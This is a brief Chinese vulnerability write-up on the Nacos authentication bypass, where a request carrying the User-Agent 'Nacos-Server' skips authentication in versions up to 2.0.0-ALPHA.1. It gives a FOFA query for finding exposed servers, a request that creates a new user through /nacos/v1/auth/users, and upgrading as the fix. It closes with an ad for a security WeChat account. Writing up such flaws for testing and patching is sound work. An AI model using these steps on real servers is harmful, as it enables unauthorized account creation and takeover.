一、描述
nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台,在早期低版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证
二、资产测绘
fofa:title=“nacos”
三、影响版本
Nacos <= 2.0.0-ALPHA.1
四、漏洞复现
1、访问/nacos/v1/auth/users?pageNo=1&pageSize=9验证漏洞是否存在
1、将UA改为:Nacos-Server
2、POST方法提交
3、POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1
1、访问/nacos/v1/auth/users?pageNo=1&pageSize=9验证漏洞是否存在
2、创建用户
使用账号登录系统
五、修复建议
升级到最新版nacos
正在学习网络安全的小伙伴,有需要安全资料或者CISP资料的可以关注安全技术达人公众号,后期回不断分享安全知识,回复“学习资料”可领取网络安全书籍。